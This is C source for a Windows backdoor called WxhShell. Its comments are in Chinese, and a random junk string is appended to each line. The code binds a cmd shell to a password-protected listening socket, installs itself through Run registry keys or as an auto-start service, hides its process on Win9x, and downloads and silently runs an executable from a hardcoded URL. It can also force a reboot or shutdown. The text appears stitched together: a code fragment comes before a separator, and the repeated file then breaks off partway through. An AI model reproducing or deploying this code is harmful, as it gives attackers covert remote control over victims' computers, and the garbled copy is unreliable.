    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CQ^(/B^c  
    if(Boot(SHUTDOWN)) >goHQ30:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -.ZP<,?@F  
    else { q9{)nU  
    closesocket(wsh); 23`salLclG  
    ExitThread(0); 4cM0f,nc+  
    } !E_|Zp]up  
    break; $`ptSR  
    } r]D U  
  // 获取shell M0\gp@Fe  
  case 's': { A'b$X1h  
    CmdShell(wsh); o?t H[  
    closesocket(wsh); +PI}$c-|`  
    ExitThread(0); 0GeL">v,:=  
    break; N5ZO pRH{  
  } [rK`BnJX  
  // 退出 d;wq@ e  
  case 'x': { I"x|U[*B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W*CRxGyZCl  
    CloseIt(wsh); (w5cp!qW9J  
    break; VP^Yf_  
    } vM5/KrW  
  // 离开 lNyyL Lt  
  case 'q': { ]?wz.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9#&H'mG  
    closesocket(wsh); q*` m%3{  
    WSACleanup(); N[Ei%I  
    exit(1); qGEp 6b H  
    break; q/54=8*h0  
        } nGYi mRYO  
  } cc_'Kv!  
  } 2ww H3}  
ss-6b^  
  // 提示信息 aGi`(|shW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,*d8T7T  
} E?P>s T3B  
  } F`x_W;\  
jG;J qT  
  return; !bYVLFp=\_  
} ,zHL8SiTX  
6o3#<ap<  
// shell模块句柄 Ew| Z<(  
int CmdShell(SOCKET sock) w)@Wug  
{  HB'9&  
STARTUPINFO si; Q>Z~={"  
ZeroMemory(&si,sizeof(si)); 7kE+9HmfMk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d4\JM 65  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]j6pd*H  
PROCESS_INFORMATION ProcessInfo; /NCN wAj7  
char cmdline[]="cmd"; LDHu10l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7]T(=gg /  
  return 0; j8[U}~*^  
} UWV%  y P  
!ae?EJm"  
// 自身启动模式 J@_^]  
int StartFromService(void) !8[A;+o3P  
{ tm=,x~  
typedef struct YARL/V  
{ !<=zFy[J.9  
  DWORD ExitStatus; n(eo_.W2|  
  DWORD PebBaseAddress; 5!qf{4j  
  DWORD AffinityMask; z`E=V  
  DWORD BasePriority; a@W9\b@I  
  ULONG UniqueProcessId; \ Voly  
  ULONG InheritedFromUniqueProcessId; 0q-lyVZ^X  
}   PROCESS_BASIC_INFORMATION; ui#nN   
.Hqq!&  
PROCNTQSIP NtQueryInformationProcess; 5= &2=  
2xO[ ?fR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DH+kp$,}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zs I?X>4  
(ub(0 h0j  
  HANDLE             hProcess; l~]] RgU  
  PROCESS_BASIC_INFORMATION pbi; *(q?O_3,b  
AmDOv4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -WqhOZ  
  if(NULL == hInst ) return 0; 0'pB7^y  
]7W!f 2@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DAWF =p]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S 4 17.n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U~7udUR  
L@AFt)U  
  if (!NtQueryInformationProcess) return 0; #vyf*jPr  
cw 2!V@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b:Zh|-  
  if(!hProcess) return 0; c]#}#RJ`\  
*.>@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zE$HHY2ovi  
!P EKMDh  
  CloseHandle(hProcess); FauASu,A  
s a o&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |au`ph5  
if(hProcess==NULL) return 0; 2 >O[Y1  
"ufSHrZv  
HMODULE hMod; Z@Q*An  
char procName[255]; LS<+V+o2%  
unsigned long cbNeeded; k"DZ"JC  
67Pmnad  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lv%t*s2$/  
E#(e2Z=  
  CloseHandle(hProcess); 4uoZw 3O  
QH(&Cu,  
if(strstr(procName,"services")) return 1; // 以服务启动 k $gcQ:|  
 eu$VKLY*  
  return 0; // 注册表启动 9 CZ@IFS  
} _^GBfM.  
mm: TR?^  
// 主模块 )Wq1 af   
int StartWxhshell(LPSTR lpCmdLine) ^il$t]X5-  
{ :h34mNU  
  SOCKET wsl; v {HF}L  
BOOL val=TRUE; HLV8_~gQPf  
  int port=0; U3:|!CC)T  
  struct sockaddr_in door; F=e;[uK\  
-Z ,r\9d  
  if(wscfg.ws_autoins) Install(); `Ze$Bd\  
JX 5/PCO  
port=atoi(lpCmdLine); 0$Rn|yqf%  
dNt^lx  
if(port<=0) port=wscfg.ws_port; vkGF_aenk  
|wuTw|  
  WSADATA data; A)n_ST0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X(BxC<!D.  
nN<,rN{ :  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BI)C\D3[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C;JW \J~W  
  door.sin_family = AF_INET; #btf|\D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9;7"S.7AV  
  door.sin_port = htons(port); @B >D>B  
7_s+7x =  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B(s^(__]  
closesocket(wsl); d"-I^|[OM  
return 1; Ff/Ap&0+  
} mTX:?>  
GV1Ol^  
  if(listen(wsl,2) == INVALID_SOCKET) { (VM CVZ  
closesocket(wsl); '1b8>L  
return 1; Bcv{Y\x;ko  
} Aj cKz  
  Wxhshell(wsl); nn:'<6"oV  
  WSACleanup(); dX1jn;7  
SceHdx(]  
return 0; KM[0aXOtv  
d38o*+JCf  
} MhHh`WUGh  
Fw-Rv'\  
// 以NT服务方式启动 w"[T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ar >JQ@0  
{ %zGv+H?  
DWORD   status = 0; ~Oq _lM  
  DWORD   specificError = 0xfffffff; l59\Lo:  
N(4y}-w$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }gX hN"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JGvhw,g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3;Yd"  
  serviceStatus.dwWin32ExitCode     = 0; qdpi-*2  
  serviceStatus.dwServiceSpecificExitCode = 0; 3)W_^6>bM  
  serviceStatus.dwCheckPoint       = 0; HJg&fkHn1  
  serviceStatus.dwWaitHint       = 0; |^5"-3Q  
F5x*#/af  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $<)]~* *K  
  if (hServiceStatusHandle==0) return; P A ZjA0d  
g4,ldr"D  
status = GetLastError(); 8=Oym~  
  if (status!=NO_ERROR) n^{h@u  
{ n5"oXpcIx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J7",fb  
    serviceStatus.dwCheckPoint       = 0; Yu" Q  
    serviceStatus.dwWaitHint       = 0; oCkG  
    serviceStatus.dwWin32ExitCode     = status; qZ[HILh!  
    serviceStatus.dwServiceSpecificExitCode = specificError; fTR6]i;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6:%lxG  
    return; )ddJ\:  
  } R$l- 7YSt  
bFN/{^SB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P]^OSPRg  
  serviceStatus.dwCheckPoint       = 0; !Q~>)$Cf^  
  serviceStatus.dwWaitHint       = 0; b6k_u9m^E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @R`6j S_gK  
} D ON.)F  
E@k'uyIu  
// 处理NT服务事件,比如:启动、停止 XTX/vbge3m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y{3+Un  
{ R3og]=uFzm  
switch(fdwControl) AC <2.i_  
{ U { 0~&  
case SERVICE_CONTROL_STOP: s|XWw<Sa  
  serviceStatus.dwWin32ExitCode = 0; (Ox&B+\v+v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @:CM<+  
  serviceStatus.dwCheckPoint   = 0; cA 4?[F  
  serviceStatus.dwWaitHint     = 0; C@ q#s  
  { [N~7PNdS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Heh&;c  
  } Jy}~ZY  
  return; h9m|f|cH  
case SERVICE_CONTROL_PAUSE: c"kB@P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %>+lr%B  
  break; c.LRS$o/j  
case SERVICE_CONTROL_CONTINUE: /dg?6XT/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `. JW_F)1  
  break; }a!|n4|`  
case SERVICE_CONTROL_INTERROGATE: `T+>E0H(f  
  break; ;rT/gwg!  
}; ]8}2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /y{fDCC  
} ?,riwDI 2  
;0kAm Vy  
// 标准应用程序主函数 V*s\~h)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nHbi{,3  
{ T=pP  
_J \zj  
// 获取操作系统版本 U3B&3K} ~  
OsIsNt=GetOsVer(); X1P1 $RdkR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4.,|vtp  
^kcuRJ0*$  
  // 从命令行安装 8i;drvf  
  if(strpbrk(lpCmdLine,"iI")) Install(); {ST8'hY  
ZMMx)}hS  
  // 下载执行文件 ec#`9w$  
if(wscfg.ws_downexe) {  gh[q*%#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3O*iv{-&  
  WinExec(wscfg.ws_filenam,SW_HIDE); *>qc6d@'  
} %KO8 i)n  
5s^vC2$)  
if(!OsIsNt) { Wx3DWY;  
// 如果时win9x,隐藏进程并且设置为注册表启动 r]xN&Ne5Q  
HideProc(); N9d^;6;i  
StartWxhshell(lpCmdLine); [-l>f P0  
} }03?eWk/y  
else <!G /&T  
  if(StartFromService()) sdCG}..`  
  // 以服务方式启动 V}<<?_  
  StartServiceCtrlDispatcher(DispatchTable); fFbJE]jW  
else 3v3cK1K@oE  
  // 普通方式启动 7^rT-f07  
  StartWxhshell(lpCmdLine); @eBo7#Zr  
\M.?*p  
return 0; ,)\G<q yO6  
} Ag:/iB ]  
rusM]Z  
E%E`\mFD  
"&D0Sd@[?  
=========================================== |wb_im  
H&*&n}vh5y  
3`SH-"{j%  
%jj-\Gz!  
)ZLj2H<  
g$)0E<  
" _+)OL-  
[?<v|k  
#include <stdio.h> n3V$Xtxw  
#include <string.h> #gWok'ZcR  
#include <windows.h> rLD1Cpeb,w  
#include <winsock2.h> @~$=96^  
#include <winsvc.h> KMb'm+  
#include <urlmon.h> ;dZZOocV1  
7mi=Xa:U  
#pragma comment (lib, "Ws2_32.lib") .XK3o .ZhW  
#pragma comment (lib, "urlmon.lib") MTE 1\,  
^o C>,%7  
#define MAX_USER   100 // 最大客户端连接数 qrOesSdc  
#define BUF_SOCK   200 // sock buffer j3w~2q"r  
#define KEY_BUFF   255 // 输入 buffer ~IO'"h'w  
U%1M?vT/  
#define REBOOT     0   // 重启 $ta"Ug.z  
#define SHUTDOWN   1   // 关机 h-Ks:pcR  
1n2Pr'|s  
#define DEF_PORT   5000 // 监听端口 #]i^L;u1A  
jZ5ac=D&I  
#define REG_LEN     16   // 注册表键长度 obbg# ,  
#define SVC_LEN     80   // NT服务名长度 SI6?b1;-:F  
`{w|2 [C3  
// 从dll定义API c3fi<?0&|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2HE<WI^#h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xeis_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [=. iJ5,{2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $@{ d\@U  
90J WU$K  
// wxhshell配置信息 )knK'H(  
struct WSCFG { ${ .:(z  
  int ws_port;         // 监听端口 #>CWee;  
  char ws_passstr[REG_LEN]; // 口令 rjfWty%6pX  
  int ws_autoins;       // 安装标记, 1=yes 0=no mDwuJf8}  
  char ws_regname[REG_LEN]; // 注册表键名 8EiS\$O-  
  char ws_svcname[REG_LEN]; // 服务名 P%[ { 'u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VWXyN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gQhYM7NP{5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c2GTN"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k?3mFWc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qixnaiZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _ !"[Zr  
buKkm$@w  
}; A;/,</  
3,#qt}8`  
// default Wxhshell configuration S>HfyZ&Pc  
struct WSCFG wscfg={DEF_PORT, }{J>kgr6  
    "xuhuanlingzhe", fWg 3gRI  
    1, 7S= ]@*  
    "Wxhshell", <dS I"C<  
    "Wxhshell", ij?]fXf:)y  
            "WxhShell Service", QRdtr  
    "Wrsky Windows CmdShell Service", z:Ru`  
    "Please Input Your Password: ", N1:)Z`r  
  1, :=quCzG  
  "http://www.wrsky.com/wxhshell.exe", Y.52`s6F  
  "Wxhshell.exe" w1F)R^tU  
    }; :W-xsw  
$RRh}w\0^  
// 消息定义模块 vls+E o]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b\NY!)B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bWCtRli}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9j;!4AJ1t  
char *msg_ws_ext="\n\rExit."; 4 ;6,h6a  
char *msg_ws_end="\n\rQuit."; &ML-\aSal  
char *msg_ws_boot="\n\rReboot..."; GIkVU6Q}  
char *msg_ws_poff="\n\rShutdown..."; '|%\QWuZ  
char *msg_ws_down="\n\rSave to "; u8x#XESR7  
yi-)4#YN  
char *msg_ws_err="\n\rErr!"; "[_gRe*2  
char *msg_ws_ok="\n\rOK!"; !a%_A^t7  
JsX}PVuL  
char ExeFile[MAX_PATH]; ~WmA55  
int nUser = 0; se_Oi$VZ{  
HANDLE handles[MAX_USER]; uqBVKE  
int OsIsNt; T%PUV \LV  
HXB & 6  
SERVICE_STATUS       serviceStatus; /I`-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [].euDrX  
`- 9p)@'8k  
// 函数声明 (f"LD8MJ/  
int Install(void); H7{kl  
int Uninstall(void); }mk z_P(Z  
int DownloadFile(char *sURL, SOCKET wsh); ( ~>-6Nb 5  
int Boot(int flag); /dR:\ffz2  
void HideProc(void); a8y*Jz-E  
int GetOsVer(void); gHH[QLD=I  
int Wxhshell(SOCKET wsl); IV`+B<3  
void TalkWithClient(void *cs); )\izL]=!t  
int CmdShell(SOCKET sock); eN  TKX  
int StartFromService(void); {I$zmVG  
int StartWxhshell(LPSTR lpCmdLine); ,G$<J0R1  
%x^U3"7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *M~BN}.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x)kp*^/  
YO.+ 06X  
// 数据结构和表定义 99Nm?$ g  
SERVICE_TABLE_ENTRY DispatchTable[] = `q y@Qo  
{ Q,o"[ &Gp  
{wscfg.ws_svcname, NTServiceMain}, f Lns^  
{NULL, NULL} UtB~joaR  
}; T' )l  
s%zdP  
// 自我安装 \-Q6z 8  
int Install(void) NF*Z<$'%  
{ .Ax]SNZ+:A  
  char svExeFile[MAX_PATH]; FCt %of#  
  HKEY key; EHq?yj;  
  strcpy(svExeFile,ExeFile); >\1j`/ :ZI  
[@$t35t~  
// 如果是win9x系统,修改注册表设为自启动 7t% |s!~  
if(!OsIsNt) { U ,\t2z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |198A,^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l.SoiFDd  
  RegCloseKey(key); jxgs!B>   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Y7:08  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~2 J!I^ J  
  RegCloseKey(key); u5P2*  
  return 0; f5t/=/6>F  
    } y>JSo9[@  
  } #<R6!"TNoz  
} @aWd0e]  
else { HUGhz  
",45p@  
// 如果是NT以上系统,安装为系统服务 vSJ# }&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;c#jO:A5  
if (schSCManager!=0) x?G"58  
{ K|wB0TiXP  
  SC_HANDLE schService = CreateService OGnuBK  
  ( %Wg8dy|  
  schSCManager, WP? AQD  
  wscfg.ws_svcname, 1n>(CwLG"  
  wscfg.ws_svcdisp, ^r 9  
  SERVICE_ALL_ACCESS, EUuk%<q7C(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WQltUaF  
  SERVICE_AUTO_START, ggzcANCD<  
  SERVICE_ERROR_NORMAL, AKUmh  
  svExeFile, c"S{5xh0&  
  NULL, iq`caoi  
  NULL, J4m2|HK  
  NULL, ~d=Y98'xS  
  NULL, a`;nB E  
  NULL ^[hx`Rh`t  
  ); 03dmHg.E!E  
  if (schService!=0) &^K,"a{  
  { p']oy;t  
  CloseServiceHandle(schService); qbD[<T  
  CloseServiceHandle(schSCManager); IFW"S fdZk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QWAtF@qTV  
  strcat(svExeFile,wscfg.ws_svcname);  s{T6qJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SH1)@K-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F+m;y  
  RegCloseKey(key); -h,?_d>  
  return 0; Y/,Cy0!  
    } N9BfjT}  
  } DYW&6+%,hO  
  CloseServiceHandle(schSCManager); ]R]%c*tA  
} l[b`4  
} A0gRX]  
)s>R~7  
return 1; *f3? 0w  
} 3 V0^v  
,^&amWey  
// 自我卸载 lw_PQ4Hp  
int Uninstall(void) 8QFg6#"O  
{ C"g bol^  
  HKEY key; )cBO_  
lWk/vj<5  
if(!OsIsNt) { 'DtC=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %HcCe[d5l  
  RegDeleteValue(key,wscfg.ws_regname); A$W~R  
  RegCloseKey(key); zEs:OOM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fnJt8Y4  
  RegDeleteValue(key,wscfg.ws_regname); Yp;?Zq9  
  RegCloseKey(key); J42/S [Rt  
  return 0; Apc!!*7  
  } . MH;u3U  
} )i$KrN6  
} ({WV<T&  
else { 4~z-&>%  
tk!5"`9N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J)= "Im)  
if (schSCManager!=0) ^.@F1k  
{ kJ.0|l0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I@:"Qee  
  if (schService!=0) -$cO0RSY  
  { 5O"$'iL  
  if(DeleteService(schService)!=0) { w7QYWf'  
  CloseServiceHandle(schService); o&#!W(   
  CloseServiceHandle(schSCManager); E{{Kz r2$  
  return 0; i@#=Rxp  
  } j},3@TFh  
  CloseServiceHandle(schService); 9 f= ~E8P  
  } :HkX sZ  
  CloseServiceHandle(schSCManager); "*ww>0[  
} Y@2yV(m)o  
} ?OVje9  
b>L?0p$ej  
return 1; r&Qq,koE  
} V3q [ $~9  
5odXT *n  
// 从指定url下载文件 tYCVVs`?  
int DownloadFile(char *sURL, SOCKET wsh) WlmkM?@  
{ [Lq9lw&   
  HRESULT hr; F $1f8U8  
char seps[]= "/"; C!W0L`r  
char *token; Nf)$K'/  
char *file; ayQ2#9X}  
char myURL[MAX_PATH]; %'.3t|zH  
char myFILE[MAX_PATH]; % !Ih=DZ  
w[OUGn'  
strcpy(myURL,sURL); @z>DJ>htN  
  token=strtok(myURL,seps); #O^%u,mJj  
  while(token!=NULL) t:*1* ;  
  { Y]bS=*q  
    file=token; > Ft)v  
  token=strtok(NULL,seps); QM@zy  
  } 2BV]@]qB  
ry0YS\W  
GetCurrentDirectory(MAX_PATH,myFILE); x.Tulo0/  
strcat(myFILE, "\\"); fw)Q1"|  
strcat(myFILE, file); D 3Tqk^5  
  send(wsh,myFILE,strlen(myFILE),0); rG3?Z^&R+  
send(wsh,"...",3,0); moL3GV%]Gq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pKaU [1x?%  
  if(hr==S_OK) USZBk0$  
return 0; OxN[w|2\4  
else a] 7nK+N  
return 1; <."KejXg-  
 Lr0:y o  
} k5)a|  
_fS4a134R  
// 系统电源模块 2 ])e}& i  
int Boot(int flag) Sm;@MI<@/  
{ 8^sh@j2L  
  HANDLE hToken; 17-B'Gl!<%  
  TOKEN_PRIVILEGES tkp; ; *\xdg{d  
lcK4 Uq\q  
  if(OsIsNt) { K%1`LT5:~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ehTv@2b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D!&]jkUN  
    tkp.PrivilegeCount = 1; ojc.ykP$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YP>J'{?b*"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZmmX_!M  
if(flag==REBOOT) { zxkO&DGRbN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~I;|ipK4m  
  return 0; d'iSvd.  
} _{$<s[S  
else { zwk& 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O_L>We@3E  
  return 0; a[p$e?gka  
} 2S-f5&o  
  } ~BMUea(  
  else { 8.Ufw. 5  
if(flag==REBOOT) { AG><5 }  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C-XJe~  
  return 0; 6q^\pJY%&7  
} hbEqb{#}@  
else { #4<=Ira5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !*S,S{T8  
  return 0; snYeo?|b  
} S0M i  
} 0#4A0[vV  
 \>||  
return 1; 2_}oOt?qiM  
} LXaq  
>>|47ps3  
// win9x进程隐藏模块 kW0ctGFYlf  
void HideProc(void) L7R!,  
{ 'KDt%?24  
3aU5rbi|B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t~ <HFY*w  
  if ( hKernel != NULL ) ) ]DqK<-  
  { 0s79rJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m^ Epw4eg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %7QSBL  
    FreeLibrary(hKernel); m_.9 PZ  
  } L/In~' *-  
W]XM<# ^^  
return; 2_ 1RJ  
} ;e.8EL  
p=3t!3  
// 获取操作系统版本 HJBGxy w  
int GetOsVer(void) :zY;eJKm  
{ f@[)*([  
  OSVERSIONINFO winfo; %a FZbLK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -*Tf.c  
  GetVersionEx(&winfo); ',/#|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  W =;,ls  
  return 1; O(VWJ@EHn  
  else rT\~VJ>+i  
  return 0; mE_%  
} h=\1ZQKC)  
I L,lXB<  
// 客户端句柄模块 hQ(^;QcSu  
int Wxhshell(SOCKET wsl) $B7c\MR j  
{ |}UA=? Xl  
  SOCKET wsh; KDP"z  
  struct sockaddr_in client; iJj!-a:z.  
  DWORD myID; w}#3 pU<<  
-<9Qez)y  
  while(nUser<MAX_USER) {~w(pAx  
{ h(R7y@mp\0  
  int nSize=sizeof(client); V'tR \b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w]nt_xj  
  if(wsh==INVALID_SOCKET) return 1; #%F-Xsk  
y5F"JjQAa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w,up`W7,  
if(handles[nUser]==0) !#~KSO}zW2  
  closesocket(wsh); @3$I  
else 5gV,^[E-z  
  nUser++; &-{%G=5~e%  
  } m5&Ht (I%n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); > ;#Y0  
FPkk\[EU  
  return 0; y10W\beJ  
} h  Ypj  
x;`G n_  
// 关闭 socket $MGKGWx@E  
void CloseIt(SOCKET wsh) F(zCvT   
{ o5 ~VT!'[  
closesocket(wsh); 4w'&:k47   
nUser--; !.^x^OK%y  
ExitThread(0); 2wnk~URj  
} Dt>tTU 6  
 :\'1x  
// 客户端请求句柄 X lItg\R  
void TalkWithClient(void *cs) ,YjjL  
{ DTuco9yr[  
("ix!\1K@  
  SOCKET wsh=(SOCKET)cs; }No#_{  
  char pwd[SVC_LEN]; |bSAn*6b  
  char cmd[KEY_BUFF]; 0^Vw^]w  
char chr[1]; 3UW`Jyd`k  
int i,j; gY[G>D=  
DJ7ak>"R  
  while (nUser < MAX_USER) { ks("( nU  
$H.U ~  
if(wscfg.ws_passstr) { 37:tu7e~c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wBg?-ji3<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 88 X]Uw(+  
  //ZeroMemory(pwd,KEY_BUFF); XUh&an$  
      i=0; h$$JXf  
  while(i<SVC_LEN) { 2]Cn<zJ  
dc4XX5Z  
  // 设置超时 9z{}DBA  
  fd_set FdRead; ROfV Y:,M  
  struct timeval TimeOut; B8T5?bl  
  FD_ZERO(&FdRead); bZgo}`o%  
  FD_SET(wsh,&FdRead); YfZ5Q}*1O+  
  TimeOut.tv_sec=8; BR?DW~7J j  
  TimeOut.tv_usec=0; t4d/%b~{:U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0vDvp`ie#4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S{bp'9]$y  
*c/|/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I]5){Q" S  
  pwd=chr[0]; <_pLmYI  
  if(chr[0]==0xd || chr[0]==0xa) { N4-Y0BO  
  pwd=0;  -L2 +4  
  break; C" `\[F`.k  
  } []N&,2O  
  i++; ,K6ODtw.  
    } K*'AjT9wX+  
"30=!k  
  // 如果是非法用户,关闭 socket tRc 3<>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A>F&b1  
} XAF]B,h=  
bzZdj6>kX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X=6L-^ o)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #=Xa(<t  
wod{C!  
while(1) { 0{o 8-#  
Ue,eEer  
  ZeroMemory(cmd,KEY_BUFF); e*( _Cvxp  
W0U|XX!&  
      // 自动支持客户端 telnet标准   Cx(HsJ! ,  
  j=0; ^dxy%*Z/  
  while(j<KEY_BUFF) { z=jzr=lP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S*3$1BTl  
  cmd[j]=chr[0]; ?&1%&?cg9  
  if(chr[0]==0xa || chr[0]==0xd) { EOqV5$+  
  cmd[j]=0; @.`HvS  
  break; T_)+l)  
  } }!s$ / Kn  
  j++; pAN$c "  
    } x5U;i  
hiR+cPSF  
  // 下载文件 ' e x/IqbK  
  if(strstr(cmd,"http://")) { a,M/i&.e`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b%X}{/n  
  if(DownloadFile(cmd,wsh)) E*9W'e~=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dwzk+@]8  
  else =E~SaT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #?\|)y4i  
  } <("P5@cExU  
  else { ?nR$>a`  
